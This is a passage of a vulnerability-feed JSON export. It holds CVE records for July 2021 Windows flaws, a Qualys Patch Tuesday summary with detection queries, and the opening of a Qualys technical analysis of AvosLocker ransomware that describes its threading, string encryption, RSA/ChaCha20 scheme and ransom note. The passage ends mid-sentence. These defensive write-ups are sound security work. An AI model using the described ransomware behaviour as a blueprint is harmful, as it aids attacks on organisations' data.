"2021-07-14T18:15:00", "type": "prion", "title": "CVE-2021-33771", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-34514"], "modified": "2023-08-08T14:21:00", "id": "PRION:CVE-2021-33771", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-33771", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T05:58:34", "description": "Windows Kernel Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-31979, CVE-2021-33771.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T18:15:00", "type": "prion", "title": "CVE-2021-34514", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-34514"], "modified": "2021-07-20T15:13:00", "id": "PRION:CVE-2021-34514", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-34514", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T04:55:29", "description": "Windows Kernel Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-33771, CVE-2021-34514.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T18:15:00", "type": "prion", "title": "CVE-2021-31979", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-34514"], "modified": "2023-08-08T14:21:00", "id": "PRION:CVE-2021-31979", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-31979", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T05:58:06", "description": "Windows Hello Security Feature Bypass Vulnerability", "cvss3": {"exploitabilityScore": 0.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "PHYSICAL", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-07-16T21:15:00", "type": "prion", "title": "CVE-2021-34466", "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 3.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34466"], "modified": "2022-07-12T17:42:00", "id": "PRION:CVE-2021-34466", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-34466", "cvss": {"score": 3.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-08-16T05:48:12", "description": "Windows ADFS Security Feature Bypass Vulnerability", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-07-14T18:15:00", "type": "prion", "title": "CVE-2021-33779", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33779"], "modified": "2021-07-17T02:35:00", "id": "PRION:CVE-2021-33779", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-33779", "cvss": {"score": 5.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-16T05:58:21", "description": "Windows Certificate Spoofing Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.2}, "published": "2021-07-14T18:15:00", "type": "prion", "title": "CVE-2021-34492", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34492"], "modified": "2021-07-19T19:24:00", "id": "PRION:CVE-2021-34492", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-34492", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-08-16T05:48:16", "description": "Azure AD Security Feature Bypass Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-07-14T18:15:00", "type": "prion", "title": "CVE-2021-33781", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33781"], "modified": "2021-07-17T03:20:00", "id": "PRION:CVE-2021-33781", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-33781", "cvss": {"score": 5.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-08-16T05:57:55", "description": "Scripting Engine Memory Corruption Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-16T21:15:00", "type": "prion", "title": "CVE-2021-34448", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34448"], "modified": "2021-07-22T17:06:00", "id": "PRION:CVE-2021-34448", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-34448", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T05:58:39", "description": "Windows Print Spooler Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-02T22:15:00", "type": "prion", "title": "CVE-2021-34527", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-07-02T21:08:00", "id": "PRION:CVE-2021-34527", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-34527", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T05:58:29", "description": "Windows Kernel Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-34458.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T18:15:00", "type": "prion", "title": "CVE-2021-34508", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34458", "CVE-2021-34508"], "modified": "2021-07-19T18:05:00", "id": "PRION:CVE-2021-34508", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-34508", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T05:58:02", "description": "Windows Kernel Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-34508.", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-16T21:15:00", "type": "prion", "title": "CVE-2021-34458", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34458", "CVE-2021-34508"], "modified": "2021-07-22T17:06:00", "id": "PRION:CVE-2021-34458", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-34458", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2021-07-28T14:34:25", "description": "### Microsoft Patch Tuesday \u2013 July 2021\n\nMicrosoft patched 117 vulnerabilities in their July 2021 Patch Tuesday release, and 13 of them are rated as critical severity.\n\n### Critical Microsoft Vulnerabilities Patched\n\n[CVE-2021-34448](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448>) \u2013 Scripting Engine Memory Corruption Vulnerability\n\nThis is being actively exploited. The vulnerability allows an attacker to execute malicious code on a compromised website if a user browses to a specially crafted file on the website. The vendor has assigned a CVSSv3 base score of 6.8 and should be prioritized for patching.\n\n[CVE-2021-34494](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34494>) - Windows DNS Server Remote Code Execution Vulnerability\n\nMicrosoft released patches addressing a critical RCE vulnerability in Windows DNS Server (CVE-2021-34494). This CVE has a high likelihood of exploitability and is assigned a CVSSv3 base score of 8.8 by the vendor. This is only exploitable to DNS servers only; however, it could allow remote code execution without user interaction.\n\n[CVE-2021-33780](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33780>) - Windows DNS Server Remote Code Execution Vulnerability\n\nMicrosoft released patches addressing a critical RCE vulnerability in DNS Server (CVE-2021-33780). This CVE has a high likelihood of exploitability and is assigned a CVSSv3 base score of 8.8 by the vendor.\n\n[CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>) - Windows Kernel Elevation of Privilege Vulnerability\n\nThis has been actively exploited and is assigned a CVSSv3 base score of 7.2 by the vendor. This should be prioritized for patching.\n\n[CVE-2021-34489](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34489>) \u2013 DirectWrite Remote Code Execution Vulnerability\n\nThe vulnerability allows an attacker to host a website that contains a specially crafted file designed to exploit the vulnerability. The vendor has assigned a CVSSv3 base score of 7.8 and should be prioritized for patching.\n\n**CVE-2021-34467, CVE-2021-34468** \u2013 Microsoft SharePoint Server Remote Code Execution Vulnerability\n\nMicrosoft released patches addressing critical RCE vulnerabilities in SharePoint Server (CVE-2021-34467, CVE-2021-34468). These CVEs have a high likelihood of exploitability and are assigned a CVSSv3 base score of 7.1 by the vendor. Along with these patches, CVE-2021-34520 should be prioritized for patching.\n\n[CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) \u2013 Windows Print Spooler Remote Code Execution Vulnerability\n\nThis Patch Tuesday follows out-of-band updates released to fix remote code execution affecting Windows Print Spooler vulnerability, popularly known as PrintNightmare. While Microsoft had released updates to fix PrintNightmare vulnerability, it is important to ensure necessary configurations are set correctly. We also published a blog post on [how to remediate PrintNightmare using Qualys VMDR](<https://blog.qualys.com/vulnerabilities-threat-research/2021/07/07/microsoft-windows-print-spooler-rce-vulnerability-printnightmare-cve-2021-34527-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>).\n\n### Adobe Patch Tuesday \u2013 July 2021\n\nAdobe addressed 26 CVEs this Patch Tuesday, and 22 of them are rated as critical severity impacting Acrobat and Reader, Adobe Framemaker, Illustrator, Dimension, and Adobe Bridge products.\n\n### Discover Patch Tuesday Vulnerabilities in VMDR\n\n[Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) automatically detects new Patch Tuesday vulnerabilities using continuous updates to its Knowledge Base (KB).\n\nYou can see all your impacted hosts by these vulnerabilities using the following QQL query:\n\n`vulnerabilities.vulnerability:(qid:`50112` OR qid:`50113` OR qid:`91787` OR qid:`91788` OR qid:`91789` OR qid:`91790` OR qid:`91791` OR qid:`91792` OR qid:`91793` OR qid:`91794` OR qid:`91795` OR qid:`110386` OR qid:`110387` OR qid:`375700` OR qid:`375706` OR qid:`375707` OR qid:`375708` OR qid:`375713` OR qid:`375714` OR qid:`375715`)` \n\n![](https://blog.qualys.com/wp-content/uploads/2021/07/patchTueJuly1-1070x602.png)\n\n### Respond by Patching\n\nVMDR rapidly remediates Windows hosts by deploying the most relevant and applicable per-technology version patches. You can simply select respective QIDs in the Patch Catalog and filter on the \u201cMissing\u201d patches to identify and deploy the applicable, available patches in one go.\n\nThe following QQL will return the missing patches pertaining to this Patch Tuesday:\n\n`(qid:`50112` OR qid:`50113` OR qid:`91787` OR qid:`91788` OR qid:`91789` OR qid:`91790` OR qid:`91791` OR qid:`91792` OR qid:`91793` OR qid:`91794` OR qid:`91795` OR qid:`110386` OR qid:`110387` OR qid:`375700` OR qid:`375706` OR qid:`375707` OR qid:`375708` OR qid:`375713` OR qid:`375714` OR qid:`375715`)` \n\n![](https://blog.qualys.com/wp-content/uploads/2021/07/patchtueJuly2-1070x602.png)\n\n### Patch Tuesday Dashboard\n\nThe current updated Patch Tuesday dashboards are available in [Dashboard Toolbox: 2021 Patch Tuesday Dashboard](<https://success.qualys.com/discussions/s/article/000006505>).\n\n### Webinar Series: This Month in Vulnerabilities and Patches\n\nTo help customers leverage the seamless integration between Qualys VMDR and Patch Management and reduce the median time to remediate critical vulnerabilities, the Qualys Research team is hosting a monthly webinar series [_This Month in Vulnerabilities and Patches_](<https://www.brighttalk.com/webcast/11673/494962>).\n\nWe discuss some of the key vulnerabilities disclosed in the past month and how to patch them:\n\n * Windows Print Spooler RCE Vulnerability\n * Kaseya Multiple Zero-Day Vulnerabilities\n * Sonicwall Buffer Overflow Vulnerability\n * Microsoft Patch Tuesday, July 2021\n * Adobe Patch Tuesday, July 2021\n\n[Join us live or watch on demand!](<https://www.brighttalk.com/webcast/11673/494962>)\n\n[![](https://blog.qualys.com/wp-content/uploads/2021/07/This-Month-in-Vulnerabilities-and-Patches-Webinar-Desktop-1070x465.png)](<https://www.brighttalk.com/webcast/11673/494962>)Webinar July 15, 2021 or on demand.\n\n### About Patch Tuesday\n\nPatch Tuesday QIDs are published at [Security Alerts](<https://www.qualys.com/research/security-alerts/>), typically late in the evening of [Patch Tuesday](<https://blog.qualys.com/tag/patch-tuesday>), followed shortly after by [PT dashboards](<https://success.qualys.com/discussions/s/article/000006505>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-13T19:49:37", "type": "qualysblog", "title": "Microsoft and Adobe Patch Tuesday (July 2021) \u2013 Microsoft 117 Vulnerabilities with 13 Critical, Adobe 26 Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34494", "CVE-2021-34448", "CVE-2021-34489", "CVE-2021-34467", "CVE-2021-34468", "CVE-2021-34520", "CVE-2021-34527", "CVE-2021-33780", "CVE-2021-31979"], "modified": "2021-07-13T19:49:37", "id": "QUALYSBLOG:12BC089A56EB28CFD168EC09B070733D", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-07T05:27:25", "description": "_AvosLocker is a ransomware group that was identified in 2021, specifically targeting Windows machines. Now a new variant of AvosLocker malware is also targeting Linux environments. In this blog, we examine the behavior of these two AvosLocker Ransomware in detail._\n\nAvosLocker is a relatively new ransomware-as-a-service that was first spotted in late June 2021. The attackers use spam email campaigns as initial infection vectors for the delivery of the ransomware payload. During the encryption, process files are appended with the ".avos" extension. An updated variant appends with the extension ".avos2". Similarly, the Linux version appends with the extension ".avoslinux".\n\nAfter every successful attack, the AvosLocker gang releases the names of their victims on the Dark Leak website hosted on the TOR network and provides exfiltrated data for sale. URL structure: `hxxp://avosxxx\u2026xxx[.]onion`\n\nThe AvosLocker gang also advertises their latest ransomware variants on the Dark Leak website. URL structure: `hxxp://avosjonxxx\u2026xxx[.]onion`\n\nThe gang has claimed, \u201cThe AvosLocker's latest Windows variant is one of the fastest in the market with highly scalable threading and selective ciphers.\u201d They offer an affiliate program that provides ransomware-as-a-service (RaaS) for potential partners in crime.\n\nRecently they have added support for encrypting Linux systems, specifically targeting VMware ESXi virtual machines. This allows the gang to target a wider range of organizations. It also possesses the ability to kill ESXi VMs, making it particularly nasty.\n\nAccording to [deepweb research](<https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/>) by Cyble Research Labs, the Threats Actors of AvosLocker ransomware groups are exploiting Microsoft Exchange Server vulnerabilities using Proxyshell, compromising the victim\u2019s network.\n\nCVEs involved in these exploits are CVE-2021-34473, CVE-2021-31206, CVE-2021-34523, and CVE-2021-31207.\n\n### Technical Analysis of AvosLocker Windows Variant\n\n#### Command-Line Options\n\nThe following figure shows a sample of Command-Line Options.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-1-Command-Line-Option.png)Fig. 1: Command Line Option\n\nThe available options allow for control over items like enabling/disabling SMB brute force, mutex creation, or control over the concurrent number of threads. \nIf no options are given, the malware runs with default options as shown in figure 2, where it ignores encryption of network drives and SMB share. It runs 200 threads concurrently of its file encryption routine.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-2-Execution-with-Default-Parameter.png)Fig. 2: Execution with Default Parameter\n\nWhile execution, the malware console displays detailed information about its progress on the screen (fig. 3).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-3-Progress-Details.png)Fig. 3: Progress Details\n\nMost of the strings in the malware are kept in the XOR encrypted format. The decryption routines are similar, only registers and keys are different (fig. 4). Strings are decrypted just before their use.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-4-Commonly-Used-Decryption-Routine.png)Fig. 4: Commonly Used Decryption Routine\n\nInitially, the malware collects the command line options provided while launching the application (fig. 5).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-5-Get-command-line-Options.png)Fig. 5: Get command-line Options\n\nThen it decrypts the mutex name \u201cCheic0WaZie6zeiy\u201d and checks whether it is already running or not to avoid multiple instances (fig. 6).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-6-Mutex-Creation.png)Fig. 6: Mutex Creation\n\nAs shown in figure 7, AvosLocker uses multi-threaded tactics. It calls the below APIs to create multiple instances of worker threads into memory and share file paths among multiple threads. Smartly utilizing the computing power of multi-core CPUs.\n\nAPIs called:\n\n * CreateIoCompletionPort()\n * PostQueuedCompletionStatus()\n * GetQueuedCompletionPort()\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-7-Use-of-CreateIoCompletionPort.png)Fig. 7: Use of CreateIoCompletionPort\n\nThe code creates multiple threads in a loop (fig. 8). The threads are set to the highest priority for encrypting data quickly.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-8-Create-Thread-In-Loop-and-Set-Priority.png)Fig. 8: Create Thread In-Loop and Set Priority\n\nAvosLocker ransomware performs a recursive sweep through the file system (fig. 9), searches for attached drives, and enumerates network resources using API WNetOpenEnum() and WnetEnumResource().\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-9-Search-Network-Share.png)Fig. 9: Search Network Share\n\nBefore selecting the file for encryption, it checks for file attributes and skips it if \u201c**FILE_ATTRIBUTE_HIDDEN**\u201d or \u201c**FILE_ATTRIBUTE_SYSTEM**\u201d as shown in figure 10.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-10-Check-File-Attribute.png)Fig. 10: Check File Attribute\n\nOnce the file attribute check is passed, it performs the file extension check. It skips files from encryption if its extension gets matched with one of the extensions shown in figure 11.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-11-Skip-Extension-List.png)Fig. 11: Skip Extension List\n\nIt also contains the list of files and folders that need to be skipped from the encryption (fig. 12).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-12-Skip-File-Folder-List.png)Fig. 12: Skip File Folder List\n\nAvosLocker uses RSA encryption, and it comes with a fixed hardcoded ID and RSA Public Key of the attacker (fig. 13).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-13-Hardcoded-Public-Key.png)Fig. 13: Hardcoded Public Key\n\nAfter file encryption using RSA, it uses the ChaCha20 algorithm to encrypt encryption-related information (fig. 14).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-14-Use-of-ChaCha20.png)Fig. 14: Use of ChaCha20\n\nIt appends this encryption-related information (fig. 15) at the end of the file with Base64 encoded format.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-15-Encryption-Related-Information.png)Fig.15: Encryption Related Information\n\nThen it appends the "avo2" extension to the file using MoveFileWithprogressW (fig. 16).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-16-Add-Extension-Using-Movie-File.png)Fig. 16: Add Extension Using Move File\n\nAs seen in figure 17, it has appended "avos2" extensions.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-17-File-with-Updated-Extension.png)Fig. 17: File with Updated Extension\n\nIt writes a ransom note (fig. 18) named \u201cGET_YOUR_FILES_BACK.txt\u201d to each encrypted directory before encryption of the file.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-18-Ransom-Note.png)Fig. 18: Ransom Note\n\nThe ransom note instructs the user to not to shut down the system in case encryption is in progress to avoid file corruption. It asks the victim 